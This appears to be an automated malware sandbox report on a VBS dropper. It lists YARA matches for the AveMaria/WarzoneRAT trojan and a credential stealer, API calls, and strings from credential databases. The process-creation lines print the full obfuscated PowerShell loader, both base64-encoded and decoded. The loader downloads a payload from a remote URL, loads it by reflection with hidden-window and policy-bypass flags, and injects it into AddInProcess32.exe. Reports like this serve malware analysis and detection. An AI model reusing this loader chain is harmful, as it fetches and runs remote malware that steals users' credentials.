Source: 5.2.AddInProcess32.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AveMaria_31d2bce9 reference_sample = 5767bca39fa46d32a6cb69ef7bd1feaac949874768dac192dbf1cf43336b3d7b, os = windows, severity = x86, creation_date = 2021-05-30, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AveMaria, fingerprint = 8f75e2d8308227a42743168deb021de18ad485763fd257991c5e627c025c30c0, id = 31d2bce9-3266-447b-9a2d-57cf11a0ff1f, last_modified = 2021-08-23
Source: 5.2.AddInProcess32.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.AddInProcess32.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 5.2.AddInProcess32.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 5.2.AddInProcess32.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_WarzoneRAT author = ditekSHen, description = Detects AveMaria/WarzoneRAT
Source: 4.2.powershell.exe.1b2b2de3860.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AveMaria_31d2bce9 reference_sample = 5767bca39fa46d32a6cb69ef7bd1feaac949874768dac192dbf1cf43336b3d7b, os = windows, severity = x86, creation_date = 2021-05-30, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AveMaria, fingerprint = 8f75e2d8308227a42743168deb021de18ad485763fd257991c5e627c025c30c0, id = 31d2bce9-3266-447b-9a2d-57cf11a0ff1f, last_modified = 2021-08-23
Source: 4.2.powershell.exe.1b2b2de3860.4.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 4.2.powershell.exe.1b2b2de3860.4.raw.unpack, type: UNPACKEDPE	Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 4.2.powershell.exe.1b2b2de3860.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 4.2.powershell.exe.1b2b2de3860.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_WarzoneRAT author = ditekSHen, description = Detects AveMaria/WarzoneRAT
Source: 00000004.00000002.1399989665.000001B2A315C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AveMaria_31d2bce9 reference_sample = 5767bca39fa46d32a6cb69ef7bd1feaac949874768dac192dbf1cf43336b3d7b, os = windows, severity = x86, creation_date = 2021-05-30, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AveMaria, fingerprint = 8f75e2d8308227a42743168deb021de18ad485763fd257991c5e627c025c30c0, id = 31d2bce9-3266-447b-9a2d-57cf11a0ff1f, last_modified = 2021-08-23
Source: 00000004.00000002.1415526929.000001B2B2DE3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AveMaria_31d2bce9 reference_sample = 5767bca39fa46d32a6cb69ef7bd1feaac949874768dac192dbf1cf43336b3d7b, os = windows, severity = x86, creation_date = 2021-05-30, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AveMaria, fingerprint = 8f75e2d8308227a42743168deb021de18ad485763fd257991c5e627c025c30c0, id = 31d2bce9-3266-447b-9a2d-57cf11a0ff1f, last_modified = 2021-08-23
Source: 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AveMaria_31d2bce9 reference_sample = 5767bca39fa46d32a6cb69ef7bd1feaac949874768dac192dbf1cf43336b3d7b, os = windows, severity = x86, creation_date = 2021-05-30, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AveMaria, fingerprint = 8f75e2d8308227a42743168deb021de18ad485763fd257991c5e627c025c30c0, id = 31d2bce9-3266-447b-9a2d-57cf11a0ff1f, last_modified = 2021-08-23
Source: 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_WarzoneRAT author = ditekSHen, description = Detects AveMaria/WarzoneRAT
Source: Process Memory Space: powershell.exe PID: 7816, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 1352, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.phis.troj.spyw.expl.evad.winVBS@8/15@2/3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_6CCCCBCD MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

5_2_6CCCCBCD

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_00410B38 OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,

5_2_00410B38

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_0041405F RegSetValueExA,CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

5_2_0041405F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_004148B6 CoInitialize,CoCreateInstance,VariantInit,CoUninitialize,

5_2_004148B6

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_00415169 LoadResource,SizeofResource,LockResource,GetTempPathA,GetTempPathA,lstrcatA,lstrcatA,GetTempPathA,lstrcatA,CreateFileA,WriteFile,CloseHandle,wsprintfA,ShellExecuteExA,

5_2_00415169

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_0040D33C OpenSCManagerW,OpenServiceW,CloseServiceHandle,ChangeServiceConfigW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

5_2_0040D33C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

File created: C:\Users\user\AppData\Local\Microsoft Vision\

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7848:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zcyy4yc3.52n.ps1

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\89SkYNNpdi.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: AddInProcess32.exe, AddInProcess32.exe, 00000005.00000002.2643159235.000000007028D000.00000002.00000001.01000000.0000000A.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.5.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: AddInProcess32.exe, AddInProcess32.exe, 00000005.00000002.2643159235.000000007028D000.00000002.00000001.01000000.0000000A.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.5.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: AddInProcess32.exe, AddInProcess32.exe, 00000005.00000002.2643159235.000000007028D000.00000002.00000001.01000000.0000000A.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.5.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2641402406.000000006CD50000.00000002.00000001.01000000.00000009.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2641402406.000000006CD50000.00000002.00000001.01000000.00000009.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);docid INTEGER PRIMARY KEY%z, 'c%d%q'%z, langidCREATE TABLE %Q.'%q_content'(%s)CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);m
Source: AddInProcess32.exe, 00000005.00000002.2630145863.0000000004573000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
Source: AddInProcess32.exe, AddInProcess32.exe, 00000005.00000002.2643159235.000000007028D000.00000002.00000001.01000000.0000000A.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.5.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: AddInProcess32.exe, 00000005.00000002.2630145863.0000000004573000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: AddInProcess32.exe, AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2641402406.000000006CD50000.00000002.00000001.01000000.00000009.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2630145863.0000000004573000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: AddInProcess32.exe, AddInProcess32.exe, 00000005.00000002.2643159235.000000007028D000.00000002.00000001.01000000.0000000A.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.5.dr	Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
Source: AddInProcess32.exe, 00000005.00000002.2630145863.0000000004573000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: AddInProcess32.exe, 00000005.00000002.2630145863.0000000004573000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
Source: AddInProcess32.exe, AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2641402406.000000006CD50000.00000002.00000001.01000000.00000009.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: AddInProcess32.exe, AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2641402406.000000006CD50000.00000002.00000001.01000000.00000009.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: AddInProcess32.exe, AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2641402406.000000006CD50000.00000002.00000001.01000000.00000009.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: AddInProcess32.exe, AddInProcess32.exe, 00000005.00000002.2643159235.000000007028D000.00000002.00000001.01000000.0000000A.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.5.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: AddInProcess32.exe, AddInProcess32.exe, 00000005.00000002.2643159235.000000007028D000.00000002.00000001.01000000.0000000A.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.5.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: AddInProcess32.exe, AddInProcess32.exe, 00000005.00000002.2643159235.000000007028D000.00000002.00000001.01000000.0000000A.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.5.dr	Binary or memory string: SELECT ALL id FROM %s;
Source: AddInProcess32.exe, AddInProcess32.exe, 00000005.00000002.2643159235.000000007028D000.00000002.00000001.01000000.0000000A.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.5.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: AddInProcess32.exe, AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2641402406.000000006CD50000.00000002.00000001.01000000.00000009.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2630145863.0000000004573000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: AddInProcess32.exe, AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2641402406.000000006CD50000.00000002.00000001.01000000.00000009.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2630145863.0000000004573000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: AddInProcess32.exe, AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2641402406.000000006CD50000.00000002.00000001.01000000.00000009.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2641402406.000000006CD50000.00000002.00000001.01000000.00000009.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);
Source: AddInProcess32.exe, AddInProcess32.exe, 00000005.00000002.2643159235.000000007028D000.00000002.00000001.01000000.0000000A.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.5.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2641402406.000000006CD50000.00000002.00000001.01000000.00000009.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);/overflow%s%.3x+%.6x%s%.3x/internalleafcorruptedno such schema: %sSELECT 'sqlite_master' AS name, 1 AS rootpage, 'table' AS type UNION ALL SELECT name, rootpage, type FROM "%w".%s WHERE rootpage!=0 ORDER BY namedbstat2018-01-22 18:45:57 0c55d179733b46d8d0ba4d88e01a25e10677046ee3da1d5b1581e86726f2171d:
Source: nEofbjk.tmp.5.dr, .zyDKbw.tmp.5.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 89SkYNNpdi.vbs

Virustotal: Detection: 11%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\89SkYNNpdi.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LigoR3YgJypNRHIqJykubmFNRVszLDExLDJdLUpvaW4nJykgKCgnZGsnKyc3dScrJ3JsICcrJz0gWVNEaHR0cHM6Ly9pYTYwMDEwMC51cycrJy5hJysncmNoaXZlLm9yZy8yJysnNCcrJy8nKydpdGVtcy9kZXQnKydhaC0nKydub3RlLXYvJysnRGV0YWgnKydOJysnb3RlVi50JysneHQnKydZU0QnKyc7ZGs3JysnYicrJ2FzZScrJzY0Q28nKydudGVuJysndCcrJyA9ICcrJyhOZScrJ3ctTycrJ2JqZScrJ2N0ICcrJ1MnKyd5cycrJ3RlJysnbS5OZScrJ3QuV2ViQycrJ2xpZScrJ250KS5Eb3dubG8nKydhJysnZFMnKyd0cmluJysnZyhkJysnazd1JysncmwnKycpO2QnKydrJysnN2JpJysnbicrJ2FyeUNvJysnbicrJ3RlbicrJ3QgPSAnKydbU3lzdGUnKydtLkNvbnZlcnQnKyddOicrJzonKydGcicrJ29tQmFzZTY0UycrJ3RyaScrJ25nKGQnKydrJysnN2JhcycrJ2U2JysnNENvbnRlbicrJ3QpO2RrNycrJ2FzcycrJ2VtJysnYmwnKyd5ID0nKycgWycrJ1InKydlZmxlY3QnKydpb24uQXMnKydzJysnZW1ibHldOicrJzpMJysnb2EnKydkKGRrN2JpbicrJ2FyeScrJ0NvJysnbnRlbnQpOycrJ2RrN3R5JysncCcrJ2UgPSAnKydkaycrJzcnKydhcycrJ3NlJysnbWJseS5HZScrJ3RUeXBlKCcrJ1knKydTRFJ1JysnblAnKydFJysnLkhvbScrJ2VZJysnU0QnKycpO2RrN21ldGhvZCA9JysnIGRrNycrJ3R5cGUuJysnRycrJ2UnKyd0TWV0aCcrJ29kKFlTRFZBSVlTRCknKyc7ZGs3bWV0JysnaCcrJ28nKydkLkknKydudm9rZSgnKydkazduJysndWxsLCcrJyBbb2JqJysnZWN0W11dJysnQCgnKydZU0QnKyd0eHQuJysnZXknKyduby92JysnZWQuMnIuMzliMzQnKyc1MzAyYTAnKyc3NWIxYmMnKycwJysnZDQnKyc1YicrJzYzMicrJ2ViOScrJ2UnKydlNjInKyctYnUnKydwLycrJy86c3B0JysndGhZU0QgLCcrJyBZU0QnKydkZXNhdCcrJ2knKyd2JysnYWQnKydvWVMnKydEICwnKycgJysnWVNEJysnZCcrJ2VzYScrJ3RpJysndmFkbycrJ1knKydTRCcrJyAsICcrJ1lTRGRlc2F0aXZhZG9ZJysnUycrJ0QnKycsWScrJ1NEQWRkJysnSW5QJysncm8nKydjZXNzMycrJzJZU0QsWVNEWVNEJysnKSknKS5yRVBMYUNFKCdkazcnLFtzdFJpTmddW0NoYVJdMzYpLnJFUExhQ0UoJ1lTRCcsW3N0UmlOZ11bQ2hhUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".((Gv 'MDr').naME[3,11,2]-Join'') (('dk'+'7u'+'rl '+'= YSDhttps://ia600100.us'+'.a'+'rchive.org/2'+'4'+'/'+'items/det'+'ah-'+'note-v/'+'Detah'+'N'+'oteV.t'+'xt'+'YSD'+';dk7'+'b'+'ase'+'64Co'+'nten'+'t'+' = '+'(Ne'+'w-O'+'bje'+'ct '+'S'+'ys'+'te'+'m.Ne'+'t.WebC'+'lie'+'nt).Downlo'+'a'+'dS'+'trin'+'g(d'+'k7u'+'rl'+');d'+'k'+'7bi'+'n'+'aryCo'+'n'+'ten'+'t = '+'[Syste'+'m.Convert'+']:'+':'+'Fr'+'omBase64S'+'tri'+'ng(d'+'k'+'7bas'+'e6'+'4Conten'+'t);dk7'+'ass'+'em'+'bl'+'y ='+' ['+'R'+'eflect'+'ion.As'+'s'+'embly]:'+':L'+'oa'+'d(dk7bin'+'ary'+'Co'+'ntent);'+'dk7ty'+'p'+'e = '+'dk'+'7'+'as'+'se'+'mbly.Ge'+'tType('+'Y'+'SDRu'+'nP'+'E'+'.Hom'+'eY'+'SD'+');dk7method ='+' dk7'+'type.'+'G'+'e'+'tMeth'+'od(YSDVAIYSD)'+';dk7met'+'h'+'o'+'d.I'+'nvoke('+'dk7n'+'ull,'+' [obj'+'ect[]]'+'@('+'YSD'+'txt.'+'ey'+'no/v'+'ed.2r.39b34'+'5302a0'+'75b1bc'+'0'+'d4'+'5b'+'632'+'eb9'+'e'+'e62'+'-bu'+'p/'+'/:spt'+'thYSD ,'+' YSD'+'desat'+'i'+'v'+'ad'+'oYS'+'D ,'+' '+'YSD'+'d'+'esa'+'ti'+'vado'+'Y'+'SD'+' , '+'YSDdesativadoY'+'S'+'D'+',Y'+'SDAdd'+'InP'+'ro'+'cess3'+'2YSD,YSDYSD'+'))').rEPLaCE('dk7',[stRiNg][ChaR]36).rEPLaCE('YSD',[stRiNg][ChaR]39) )"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
